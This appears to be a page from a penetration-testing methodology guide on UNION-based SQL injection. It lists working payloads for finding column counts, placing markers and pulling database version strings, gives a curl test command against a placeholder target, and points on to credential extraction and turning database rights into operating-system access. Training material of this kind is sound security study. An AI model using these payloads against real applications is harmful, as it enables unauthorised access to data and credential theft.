Extract data through UNION and visible SQL results

Needs: Compatible column count/types, a reflected result position and rights to the requested data

First establish column count

# First establish column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Or increment NULL columns until the query succeeds
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

# Then find a displayed text-compatible column
' UNION SELECT NULL,'MARKER_7F31',NULL-- -

# Baseline
MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

Verify → Verify actual returned target data and the reflected position; distinguish a reflected input string from executed SQL output.

If it fails → No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable. More detail ↓

If → then

A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
Needs: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Confirmed SQL control plus database file, execution or impersonation privileges → Convert database rights into a file or operating-system effect
Needs: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Query influence exists but rows are not rendered → Infer SQL data through boolean or time-based differences
Needs: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Extract data through UNION and visible SQL results

USE WHEN: An injectable SELECT renders query results
STARTING ACCESS: A reproducible application request and a controlled input or access-context comparison
RESULT: Visible database identity, schema and selected useful data

Recognize the clue

After controlled SELECT influence, inspect which database result fields are rendered and test the documented column-shape controls.

curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH

SYNTHETIC EXAMPLE OUTPUT

Compatible ordering: normal result
Out-of-range ordering: column-position error

Means: A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.

Confirm: Confirm column count/types and a query-generated visible marker before extracting selected metadata.

After validation: A compatible marker appears from a UNION result column: choose visible manual extraction.
Ruled out in this context: The injection is in a non-SELECT context without a compatible result channel: reject UNION in this request.
Still inconclusive: No marker can mean type/shape error or an unrendered column; distinguish these before switching techniques.

Troubleshooting: No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable.

First establish column count:

Or increment NULL columns until the query succeeds:

Then find a displayed text-compatible column:

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.

Why it works

UNION combines compatible result sets; only columns rendered by the application carry visible output. DBMS-specific metadata and string types constrain payload choice.

Worked example · hypothetical

Observation: a SELECT result is reflected. Test: determine shape and place a recognizable marker in a compatible output column. Illustrative output: the marker appears in the response. Interpretation: request only relevant metadata and credential-bearing fields.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗